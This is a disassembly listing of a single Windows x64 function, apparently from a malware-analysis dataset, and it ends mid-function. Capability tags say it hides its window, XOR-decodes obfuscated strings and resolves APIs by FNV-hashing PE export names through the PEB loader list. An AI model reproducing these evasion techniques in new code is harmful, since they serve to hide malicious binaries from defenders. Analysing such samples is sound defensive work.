Function at 0x1400024e0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get ntdll base address
Hash data using fnv
Hide graphical window
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4100]
mov eax, 0x4200
call fcn.140080e90
sub rsp, rax
movaps xmmword [rsp + 0x41f0], xmm6
movaps xmmword [rsp + 0x41e0], xmm7
movaps xmmword [rsp + 0x41d0], xmm8
movaps xmmword [rsp + 0x41c0], xmm9
movaps xmmword [rsp + 0x41b0], xmm10
movaps xmmword [rsp + 0x41a0], xmm11
mov rax, qword [0x1400a00c0]
xor rax, rsp
mov qword [rbp + 0x4090], rax
xor r15d, r15d
mov dword [rbp - 0x68], r15d
call fcn.140001c00
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 0x80], rax
call fcn.140002470
xor eax, eax
mov byte [rbp - 0x6b], al
lea rdx, [rbp + 0x2518]
lea rcx, [rbp - 0x6b]
call fcn.140018e50
xor eax, eax
mov byte [rbp - 0x6a], al
lea rdx, [rbp + 0x2520]
lea rcx, [rbp - 0x6a]
call fcn.140018e70
xor eax, eax
mov byte [rbp - 0x69], al
lea rdx, [rbp + 0x2770]
lea rcx, [rbp - 0x69]
call fcn.140018ea0
xor eax, eax
mov byte [rsp + 0x4a], al
lea rdx, [rbp + 0x2510]
lea rcx, [rsp + 0x4a]
call fcn.140018ee0
xor eax, eax
mov byte [rsp + 0x4b], al
lea rdx, [rbp + 0x2728]
lea rcx, [rsp + 0x4b]
call fcn.140018ef0
cmp byte [rbp + 0x251c], r15b
jne 0x140002609
xor byte [rbp + 0x2518], 0x39
xor byte [rbp + 0x2519], 0x3a
xor byte [rbp + 0x251a], 0x3b
xor byte [rbp + 0x251b], 0x3c
mov byte [rbp + 0x251c], 0x3d
cmp byte [rbp + 0x252a], r15b
jne 0x14000265f
xor byte [rbp + 0x2520], 0x39
xor byte [rbp + 0x2521], 0x3a
xor byte [rbp + 0x2522], 0x3b
xor byte [rbp + 0x2523], 0x3c
xor byte [rbp + 0x2524], 0x3d
xor byte [rbp + 0x2525], 0x3e
xor byte [rbp + 0x2526], 0x3f
xor byte [rbp + 0x2527], 0x40
xor byte [rbp + 0x2528], 0x41
xor byte [rbp + 0x2529], 0x42
mov byte [rbp + 0x252a], 0x43
mov r12d, dword [reloc.WS2_32.dll_accept]
movdqa xmm8, xmmword [0x140093100]
movdqa xmm10, xmmword [0x140093110]
movdqa xmm9, xmmword [0x1400930f0]
movdqa xmm7, xmmword [0x1400930d0]
movdqa xmm6, xmmword [0x140093120]
cmp byte [rbp + 0x27b0], r15b
jne 0x140002805
mov r8d, r15d
cmp r12d, 2
jl 0x1400027b4
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x2774]
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400026c1
cmp r8d, 0x41
jge 0x140002805
movsxd rax, r8d
lea r9, [rbp + 0x2770]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x1400027d0
cmp byte [rbp + 0x2513], r15b
jne 0x1400028c5
cmp r12d, 2
jl 0x140002880
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0x2510]
xorps xmm1, xmm0
movd dword [rbp + 0x2510], xmm1
jmp 0x1400028c5
lea r9, [rbp + 0x2510]
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140002890
cmp byte [rbp + 0x2744], r15b
jne 0x140002a35
mov r8d, r15d
cmp r12d, 2
jl 0x1400029f3
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x272c]
mov edx, dword [rbp + 0x100]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140002900
cmp r8d, 0x1d
jge 0x140002a35
movsxd rax, r8d
lea r9, [rbp + 0x2728]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140002a00
mov edx, 0x278
lea rcx, [rbp + 0x3e10]
call fcn.140019cd0
lea rax, [rbp + 0x6d8]
mov qword [rbp + 0x88], rax
cmp byte [rbp + 0x2744], r15b
je 0x140002bc5
mov r8d, r15d
cmp r12d, 2
jl 0x140002b83
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x272c]
mov edx, dword [rbp + 0x100]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140002a90
cmp r8d, 0x1d
jge 0x140002bc5
movsxd rax, r8d
lea r9, [rbp + 0x2728]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140002b90
lea rdx, [rbp + 0x2728]
lea rcx, [rbp + 0x6d8]
call fcn.14001afd0
mov r14, rax
lea rax, [rbp + 0x6f8]
mov qword [rbp + 0x90], rax
cmp byte [rbp + 0x2513], 0
je 0x140002ca5
cmp r12d, 2
jl 0x140002c64
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0x2510]
xorps xmm1, xmm0
movd dword [rbp + 0x2510], xmm1
jmp 0x140002ca5
lea r9, [rbp + 0x2510]
mov r8d, r15d
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140002c70
lea rdx, [rbp + 0x2510]
lea rcx, [rbp + 0x6f8]
call fcn.14001afd0
mov rsi, rax
lea rax, [rbp + 0x718]
mov qword [rsp + 0x40], rax
cmp byte [rbp + 0x27b0], 0
je 0x140002e35
mov r8d, r15d
cmp r12d, 2
jl 0x140002df3
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x2774]
mov edx, dword [rbp + 0x100]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140002d00
cmp r8d, 0x41
jge 0x140002e35
movsxd rax, r8d
lea r9, [rbp + 0x2770]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x140002e00
lea rdx, [rbp + 0x2770]
lea rcx, [rbp + 0x718]
call fcn.14001afd0
mov rdi, rax
lea rax, [rbp + 0x738]
mov qword [rsp + 0x38], rax
movzx ecx, byte [rbp + 0x252a]
test cl, cl
je 0x140002eb1
xor byte [rbp + 0x2520], 0x39
xor byte [rbp + 0x2521], 0x3a
xor byte [rbp + 0x2522], 0x3b
xor byte [rbp + 0x2523], 0x3c
xor byte [rbp + 0x2524], 0x3d
xor byte [rbp + 0x2525], 0x3e
xor byte [rbp + 0x2526], 0x3f
xor byte [rbp + 0x2527], 0x40
xor byte [rbp + 0x2528], 0x41
xor byte [rbp + 0x2529], 0x42
xor cl, 0x43
mov byte [rbp + 0x252a], cl
lea rdx, [rbp + 0x2520]
lea rcx, [rbp + 0x738]
call fcn.14001afd0
mov rbx, rax
movzx ecx, byte [rbp + 0x251c]
test cl, cl
je 0x140002ef7
xor byte [rbp + 0x2518], 0x39
xor byte [rbp + 0x2519], 0x3a
xor byte [rbp + 0x251a], 0x3b
xor byte [rbp + 0x251b], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x251c], cl
lea rdx, [rbp + 0x2518]
lea rcx, [rbp + 0x758]
call fcn.14001afd0
nop
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x3e10]
call fcn.140001420
nop
mov byte [rbp + 0x2518], 0
mov byte [rbp + 0x2519], 0
mov byte [rbp + 0x251a], 0
mov byte [rbp + 0x251b], 0
mov byte [rbp + 0x251c], 0
mov byte [rbp + 0x2520], 0
mov byte [rbp + 0x2521], 0
mov byte [rbp + 0x2522], 0
mov byte [rbp + 0x2523], 0
mov byte [rbp + 0x2524], 0
mov byte [rbp + 0x2525], 0
mov byte [rbp + 0x2526], 0
mov byte [rbp + 0x2527], 0
mov byte [rbp + 0x2528], 0
mov byte [rbp + 0x2529], 0
mov byte [rbp + 0x252a], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2770], xmm0
movups xmmword [rbp + 0x2780], xmm0
movups xmmword [rbp + 0x2790], xmm0
movups xmmword [rbp + 0x27a0], xmm0
mov byte [rbp + 0x27b0], al
mov byte [rbp + 0x2510], al
mov byte [rbp + 0x2511], al
mov byte [rbp + 0x2512], al
mov byte [rbp + 0x2513], al
movups xmmword [rbp + 0x2728], xmm0
mov qword [rbp + 0x2738], rax
mov dword [rbp + 0x2740], eax
mov byte [rbp + 0x2744], al
mov byte [rsp + 0x4c], al
lea rdx, [rbp + 0x110]
lea rcx, [rsp + 0x4c]
call fcn.140018f20
mov rsi, rax
cmp byte [rax + 0x12], 0
je 0x140003175
mov r8d, r15d
cmp r12d, 2
jl 0x140003133
movdqa xmmword [rbp + 0x100], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x100]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003040
cmp r8d, 0x13
jge 0x140003175
movsxd r9, r8d
add r9, rsi
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140003140
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003206
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003206
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xd6675df6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003201
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400031e0
cmp r8d, 0x5b600b7a
je 0x14000320b
test r9d, r9d
jne 0x1400031c0
mov rax, qword [rax]
jmp 0x140003190
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rsp + 0x4d], al
lea rdx, [rbp + 0x98]
lea rcx, [rsp + 0x4d]
call fcn.140018f50
mov rsi, rax
movdqa xmm11, xmmword [0x1400930e0]
cmp byte [rax + 7], 0
je 0x140003375
cmp r12d, 2
jl 0x14000333a
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rsi]
xorps xmm1, xmm0
movd dword [rsi], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rsi + 4]
xorps xmm1, xmm0
movd dword [rsi + 4], xmm1
jmp 0x140003375
mov r9, rsi
mov r8d, r15d
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140003340
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003406
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003406
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x66e39720
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003401
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400033e0
cmp r8d, 0x8edce321
je 0x14000340b
test r9d, r9d
jne 0x1400033c0
mov rax, qword [rax]
jmp 0x140003390
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
xor eax, eax
mov byte [rsp + 0x4e], al
lea rdx, [rbp + 0x12f0]
lea rcx, [rsp + 0x4e]
call fcn.140018f60
mov rsi, rax
cmp byte [rax + 0x26], 0
je 0x1400035a5
mov r8d, r15d
cmp r12d, 2
jl 0x140003563
movdqa xmmword [rbp + 0x100], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x100]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140003470
cmp r8d, 0x27
jge 0x1400035a5
movsxd r9, r8d
add r9, rsi
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140003570
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003636
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003636
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x6fe5e3e2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003631
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003610
cmp r8d, 0xef75a1a9
je 0x14000363b
test r9d, r9d
jne 0x1400035f0
mov rax, qword [rax]
jmp 0x1400035c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rcx, [rbp + 0x2748]
call fcn.14001b130
nop
lea rdx, [rbp + 0x2748]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001b950
lea rcx, [rbp + 0x3e10]
call fcn.140029260
lea rdx, [rbp + 0x2748]
lea rcx, [rbp + 0x798]
call fcn.14001b010
mov rdx, rax
lea rcx, [rbp + 0x3e10]
call fcn.14002ac20
cmp byte [rbp + 0x4020], 0
jne 0x140003bb6
xor eax, eax
mov byte [rsp + 0x4f], al
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x4f]
call fcn.140018fa0
mov rsi, rax
cmp byte [rax + 3], 0
je 0x140003775
cmp r12d, 2
jl 0x140003739
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x140003775
mov r9, rsi
mov r8d, r15d
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140003740
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003806
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003806
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x7cf7417a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003801
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400037e0
cmp r8d, 0x178cf623
je 0x14000380b
test r9d, r9d
jne 0x1400037c0
mov rax, qword [rax]
jmp 0x140003790
mov ecx, dword [rdi + 0x1c]
add rcx, r10
